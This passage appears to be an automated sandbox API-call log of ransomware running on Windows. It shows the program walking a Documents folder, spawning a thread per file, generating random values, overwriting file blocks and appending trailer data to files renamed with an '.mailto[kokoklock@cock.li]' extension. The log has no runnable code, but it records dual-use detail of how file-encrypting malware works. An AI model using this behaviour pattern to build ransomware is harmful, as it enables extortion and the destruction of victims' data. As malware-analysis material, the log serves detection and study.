_Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\DDmQO8hl2GW91mUC8.odp.mailto[kokoklock@cock.li].d0e731" [0177.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x824 [0177.910] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb81965d0, ftCreationTime.dwHighDateTime=0x1d4d06a, ftLastAccessTime.dwLowDateTime=0x70309390, ftLastAccessTime.dwHighDateTime=0x1d4d2f1, ftLastWriteTime.dwLowDateTime=0x8b870ab2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x7f1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="GQMYBR~1.D0E")) returned 1 [0177.910] wcscmp (_String1="gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.910] wcscmp (_String1="gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.910] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfc) returned 0x2f6d278 [0177.910] wcscpy (in: _Dest=0x2f6d278, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" [0177.910] wcscat (in: _Dest=0x2f6d278, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0177.910] wcscat (in: _Dest=0x2f6d278, _Source="gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731" [0177.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d278, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0177.911] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe1bba0, ftCreationTime.dwHighDateTime=0x1d4ce99, ftLastAccessTime.dwLowDateTime=0xd1524f70, ftLastAccessTime.dwHighDateTime=0x1d4d458, ftLastWriteTime.dwLowDateTime=0x8b896e06, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xcbb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="H22-8H~1.D0E")) returned 1 [0177.911] wcscmp (_String1="H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.911] wcscmp (_String1="H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.911] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf6) returned 0x2f84d18 [0177.911] wcscpy (in: _Dest=0x2f84d18, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" [0177.911] wcscat (in: _Dest=0x2f84d18, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0177.911] wcscat (in: _Dest=0x2f84d18, _Source="H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731" [0177.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f84d18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a4 [0177.912] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe343cc0, ftCreationTime.dwHighDateTime=0x1d4d2ef, ftLastAccessTime.dwLowDateTime=0x7eaea980, ftLastAccessTime.dwHighDateTime=0x1d4ce6d, ftLastWriteTime.dwLowDateTime=0x8b8bce96, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x116e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWDuek.odt.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="HWDUEK~1.D0E")) returned 1 [0177.912] wcscmp (_String1="HWDuek.odt.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.912] wcscmp (_String1="HWDuek.odt.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.912] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2fc4670 [0177.912] wcscpy (in: _Dest=0x2fc4670, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" [0177.912] wcscat (in: _Dest=0x2fc4670, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0177.912] wcscat (in: _Dest=0x2fc4670, _Source="HWDuek.odt.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt.mailto[kokoklock@cock.li].d0e731" [0177.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc4670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0177.913] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7c7ff40, ftCreationTime.dwHighDateTime=0x1d4c5c1, ftLastAccessTime.dwLowDateTime=0x34afb540, ftLastAccessTime.dwHighDateTime=0x1d4cd82, ftLastWriteTime.dwLowDateTime=0x8b8e3261, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x18ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="PZKEMS~1.D0E")) returned 1 [0177.913] wcscmp (_String1="PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.913] wcscmp (_String1="PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.913] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x305d098 [0177.913] wcscpy (in: _Dest=0x305d098, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" [0177.913] wcscat (in: _Dest=0x305d098, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0177.913] wcscat (in: _Dest=0x305d098, _Source="PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\PzkemsXFtROGT1vr6P7y.xlsx.mailto[kokoklock@cock.li].d0e731" [0177.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828 [0177.914] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bf8ca40, ftCreationTime.dwHighDateTime=0x1d4d215, ftLastAccessTime.dwLowDateTime=0xdbd1b420, ftLastAccessTime.dwHighDateTime=0x1d4d27f, ftLastWriteTime.dwLowDateTime=0x8b90948a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x155f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VGIQGV~1.D0E")) returned 1 [0177.914] wcscmp (_String1="VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.914] wcscmp (_String1="VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.914] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfe) returned 0x2f6d698 [0177.914] wcscpy (in: _Dest=0x2f6d698, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" [0177.914] wcscat (in: _Dest=0x2f6d698, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0177.914] wcscat (in: _Dest=0x2f6d698, _Source="VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731" [0177.914] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x820 [0177.915] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8a8e90, ftCreationTime.dwHighDateTime=0x1d4ce1a, ftLastAccessTime.dwLowDateTime=0x58ce9bf0, ftLastAccessTime.dwHighDateTime=0x1d4c7f4, ftLastWriteTime.dwLowDateTime=0x8b92f66e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x14173, dwReserved0=0x0, dwReserved1=0x0, cFileName="xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="XI1SV_~1.D0E")) returned 1 [0177.915] wcscmp (_String1="xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.915] wcscmp (_String1="xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.915] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x102) returned 0x305d1b0 [0177.915] wcscpy (in: _Dest=0x305d1b0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ" [0177.915] wcscat (in: _Dest=0x305d1b0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0177.915] wcscat (in: _Dest=0x305d1b0, _Source="xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731" [0177.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450 [0177.915] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8a8e90, ftCreationTime.dwHighDateTime=0x1d4ce1a, ftLastAccessTime.dwLowDateTime=0x58ce9bf0, ftLastAccessTime.dwHighDateTime=0x1d4c7f4, ftLastWriteTime.dwLowDateTime=0x8b92f66e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x14173, dwReserved0=0x0, dwReserved1=0x0, cFileName="xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="XI1SV_~1.D0E")) returned 0 [0177.916] FindClose (in: hFindFile=0x2f80320 | out: hFindFile=0x2f80320) returned 1 [0177.916] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30213e0) returned 1 [0177.916] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055e98) returned 1 [0177.916] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95ed0) returned 1 [0177.916] RtlExitUserThread (Status=0x0) Thread: id = 2731 os_tid = 0x12f4 [0177.840] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\nt4haaobgdxfpb jlb.doc.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.841] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.841] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\nT4HaaoBgdXFpB jlB.doc.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\nt4haaobgdxfpb jlb.doc.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b4 [0177.841] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0x2c4ffc94 | out: lpFileSize=0x2c4ffc94*=86136) returned 1 [0177.841] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x15074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.841] ReadFile (in: hFile=0x7b4, lpBuffer=0x2c4ffc68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c4ffc64, lpOverlapped=0x0 | out: lpBuffer=0x2c4ffc68*, lpNumberOfBytesRead=0x2c4ffc64*=0x4, lpOverlapped=0x0) returned 1 [0177.842] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.842] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f40 [0177.842] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94fe0 [0177.842] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f95080 [0177.842] NtQuerySystemTime (in: CurrentTime=0x2c4ffc40 | out: CurrentTime=0x2c4ffc40*=132121213351562105) returned 0x0 [0177.842] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0xdf02b13e [0177.842] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0x5b5e230d [0177.842] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0xc90f0dc5 [0177.842] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0xd7e90c52 [0177.842] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0xdfb92207 [0177.842] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0x82183e16 [0177.842] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0x8d66e8b9 [0177.842] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0xc2b995eb [0177.842] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0xd879863c [0177.842] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0xada58950 [0177.842] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0x4437f448 [0177.842] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0x6262f3e8 [0177.842] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0x905b20da [0177.843] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0xa26f3d55 [0177.843] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0x93f1dfec [0177.843] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0x5c07af38 [0177.843] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0x3bf0317 [0177.843] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0xc78b6adf [0177.843] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0xbe8b4c3f [0177.843] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0x686ddf53 [0177.843] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0x653247c [0177.843] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0x8eed9629 [0177.843] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0x81fd13d9 [0177.843] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0x4b90f1d [0177.843] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0xad03e0b [0177.843] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0x59ff178d [0177.843] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0x1263c9fd [0177.843] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0x204f4b1c [0177.843] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0xb6b3d0c4 [0177.843] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0xe17a1549 [0177.843] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0x6f4040f0 [0177.843] RtlRandom (in: Seed=0x2c4ffc4c | out: Seed=0x2c4ffc4c) returned 0x74ec327e [0177.854] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.855] ReadFile (in: hFile=0x7b4, lpBuffer=0x4f00058, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2c4ffc18, lpOverlapped=0x0 | out: lpBuffer=0x4f00058*, lpNumberOfBytesRead=0x2c4ffc18*=0x4096, lpOverlapped=0x0) returned 1 [0177.855] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.855] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f876b0 [0177.855] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88dc0 [0177.855] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f40 [0177.855] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f40) returned 1 [0177.855] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f040f8 [0177.856] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f40 [0177.856] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0177.856] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94cc0) returned 1 [0177.856] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88dc0) returned 1 [0177.856] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f876b0) returned 1 [0177.856] WriteFile (in: hFile=0x7b4, lpBuffer=0x4f040f8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2c4ffc18, lpOverlapped=0x0 | out: lpBuffer=0x4f040f8*, lpNumberOfBytesWritten=0x2c4ffc18*=0x4096, lpOverlapped=0x0) returned 1 [0177.856] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f040f8) returned 1 [0177.856] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x15078, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.856] WriteFile (in: hFile=0x7b4, lpBuffer=0x2f94f40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c4ffc50, lpOverlapped=0x0 | out: lpBuffer=0x2f94f40*, lpNumberOfBytesWritten=0x2c4ffc50*=0x20, lpOverlapped=0x0) returned 1 [0177.857] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f40) returned 1 [0177.857] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f00058) returned 1 [0177.857] WriteFile (in: hFile=0x7b4, lpBuffer=0x2f950d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c4ffc64, lpOverlapped=0x0 | out: lpBuffer=0x2f950d0*, lpNumberOfBytesWritten=0x2c4ffc64*=0x8, lpOverlapped=0x0) returned 1 [0177.857] WriteFile (in: hFile=0x7b4, lpBuffer=0x2c4ffc7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c4ffc64, lpOverlapped=0x0 | out: lpBuffer=0x2c4ffc7c*, lpNumberOfBytesWritten=0x2c4ffc64*=0x4, lpOverlapped=0x0) returned 1 [0177.857] WriteFile (in: hFile=0x7b4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c4ffc64, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2c4ffc64*=0x4, lpOverlapped=0x0) returned 1 [0177.857] WriteFile (in: hFile=0x7b4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c4ffc64, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2c4ffc64*=0x6c, lpOverlapped=0x0) returned 1 [0177.858] WriteFile (in: hFile=0x7b4, lpBuffer=0x2f94fe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c4ffc64, lpOverlapped=0x0 | out: lpBuffer=0x2f94fe0*, lpNumberOfBytesWritten=0x2c4ffc64*=0x20, lpOverlapped=0x0) returned 1 [0177.858] WriteFile (in: hFile=0x7b4, lpBuffer=0x2f719ac*, 